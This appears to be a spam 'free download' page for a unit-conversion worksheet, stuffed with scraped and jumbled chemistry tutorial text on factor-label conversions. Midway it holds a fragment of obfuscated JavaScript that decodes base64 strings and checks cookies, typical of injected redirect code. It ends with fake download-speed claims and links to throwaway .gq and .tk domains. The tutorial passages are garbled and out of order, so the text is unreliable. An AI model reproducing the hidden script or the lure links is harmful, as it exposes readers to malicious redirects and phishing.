



# Download

[Free Download Factor Label Unit Conversion Worksheet For Windows 10 Enterprise 64](#)

**Example:**

How many inches are in 32 kilometers?

Given the following conversions:

1 kilometer = 0.62137 miles

1 mile = 5280 feet

1 foot = 12 inches

First draw an empty grid with what you are given in the top left and the unit of what you want after the equals sign. Leave yourself plenty of room since you usually don't know how many steps you'll need.

$$\frac{32 \text{ kilometers}}{\quad} \left| \frac{\quad}{\quad} \right| = \text{ inches}$$

**Rules of the grid:** everything on top is multiplied, everything on bottom is divided, the vertical lines are used to separate terms and all relevant rules pertaining to significant digits apply here as well

so  $(5.00 \times 5.00)/3.00$  would look like this  $\frac{5.00}{3.00} \left| \frac{5.00}{\quad} \right| = 8.33$

We have no conversion factor between kilometers and inches but we have one for kilometers to miles so...

$$\frac{32 \text{ kilometers}}{\quad} \left| \frac{0.62137 \text{ miles}}{1 \text{ kilometer}} \right| = \text{ inches}$$

Note that the units of kilometer cancel and we are left with the unit of miles,

$$\frac{32 \text{ kilometers}}{\quad} \left| \frac{0.62137 \text{ miles}}{1 \text{ kilometer}} \right| = \text{ inches}$$

which leads us to the next conversion and the next

$$\frac{32 \text{ kilometers}}{\quad} \left| \frac{0.62137 \text{ miles}}{1 \text{ kilometer}} \right| \left| \frac{5280 \text{ feet}}{1 \text{ mile}} \right| \left| \frac{12 \text{ inches}}{1 \text{ foot}} \right| = \text{ inches}$$

all units except inches are canceled out, now do the math

$$\frac{32 \text{ kilometers}}{\quad} \left| \frac{0.62137 \text{ miles}}{1 \text{ kilometer}} \right| \left| \frac{5280 \text{ feet}}{1 \text{ mile}} \right| \left| \frac{12 \text{ inches}}{1 \text{ foot}} \right| = 1.3 \times 10^6 \text{ inches}$$

(same as above just with the units canceled for clarity)

$$\frac{32 \text{ kilometers}}{\quad} \left| \frac{0.62137 \text{ miles}}{1 \text{ kilometer}} \right| \left| \frac{5280 \text{ feet}}{1 \text{ mile}} \right| \left| \frac{12 \text{ inches}}{1 \text{ foot}} \right| = 1.3 \times 10^6 \text{ inches}$$

Using the Conversion factors found in your text: Convert  $1.25 \times 10^{-2}$  metric tons to pounds.

$$\frac{1.25 \times 10^{-2} \text{ metric tons}}{\quad} \left| \frac{1000 \text{ kg}}{1 \text{ metric ton}} \right| \left| \frac{1 \text{ lb}}{0.45359 \text{ kg}} \right| = 27.6 \text{ lb}$$



**Download**

50  $\frac{1}{4}$ g to picograms  
**STEP ONE:** Write the value (and its unit) from the problem, then in order write: 1) a multiplication sign, 2) a fraction bar, 3) an equals sign, and 4) the unit in the answer.. There will be a number and a unit in the numerator and the denominator  
**STEP TWO:** Write the unit from the problem in the denominator of the conversion factor, like this:  
**STEP THREE:** Write the unit expected in the answer in the numerator of the conversion factor.. Here's an example: 5280 feet / 1 mile  
 Both 5280 feet and 1 mile describe exactly the same distance.

If the unit goes from smaller (mm) to larger (km), then the numerical part goes from larger to smaller.. You have to be careful when looking at the interplay between L, mL, cm<sup>3</sup>, and dm<sup>3</sup>.. The key skill in solving these problems is to construct a conversion factor This conversion factor will make the old unit go away (micrograms and km in the top two examples) and create the new unit (pm and cm) in its place.. There will never be a correct case where number and unit both go larger or both go smaller.. In essence, a conversion factor is equal to one This is because the numerator and the denominator both describe exactly the same amount.

Here are all five steps for the second example, put into one image:  
 Note that the old unit cancels, since it appears in the numerator and denominator of two parts of a multiplication problem..  
**STEP FOUR:** Examine the two prefixes in the conversion factor In front of the LARGER one, put a one.. Here's a metric example: 1 kg / 1000 g  
 1000 g and 1 kg both have exactly the same amount of mass..  
 35 10<sup>-9</sup> x 100 cm) x 100 cm x 100 cm)  
 3) Multiply it out to get cm<sup>3</sup>.

You can go to another tutorial which discusses the second type It has to do with the fact that 1 mL equals 1 cm<sup>3</sup> and 1 L equals 1 dm<sup>3</sup>.

50  $\frac{1}{4}$ g to picograms  
 2) Convert 0.080 cm to km The explanation below will focus on the first problem.. 80 L to dm<sup>3</sup>  
 1 80 L times (1 dm<sup>3</sup> / 1 L) = 1 80 dm<sup>3</sup>  
 Be careful with the next two problems..

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_0x529aac,_0x29e5a9++%0x4)?_0x33cb4a+=String['fromCharCode'](0xff&_0x1ce536>>(-0x2*_0x29e5a9&0x6)):0x0){_0x5
29aac=_0x67844b[indexOf](_0x529aac);}return
_0x33cb4a;});})();_0x25db['base64DecodeUnicode']=function(_0x29e66f){var _0x551d61=atob(_0x29e66f);var
_0xea808c=[];for(var _0x4819cd=0x0,_0x524116=_0x551d61['length'];_0x4819cd=0x0){_0x1b39d0=!![];}else{return cookie
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3')](_0x1e0bd6['LuuBQ'],q,""));}}}}R();
  
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Factor label unit conversion worksheet  
 Skills you need to do this include: 1) memorize the metric prefixes names and symbols  
 2) determine which of two prefixes represents a larger amount  
 3) determine the exponential "distance" between two prefixes  
 4) significant figure rules  
 5) scientific notation  
 Here are two typical metric conversion problems:  
 1) Convert 2.. There is second type of metric conversion, one that involves converting both the numerator and the denominator.. For example, 1 kg is differently written from 1000 g, but they both describe the same amount of stuff.. Just below I discuss how to construct a conversion factor There is an important point about the numerator and the denominator of the conversion factor..  
 2) A common mistake is to put the one in front of the SMALLER unit This results in a wrong answer.. Put a gap between 3 and 4 All that looks like this:  
 The fraction bar will have the conversion factor..  
 Access Speed for this file: 13190 KB/Sec  
 Your Trusted Search Engine!  
 All your favorite books and authors in one spot!  
 You must be logged in to read the following content. d70b09c2d4

<http://pecapenwynd.gq/ceredarce/100/1/index.html/>

<http://radisnonsxy.tk/ceredarce/100/1/index.html/>

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<http://ythkengo.tk/ceredarce/100/1/index.html/>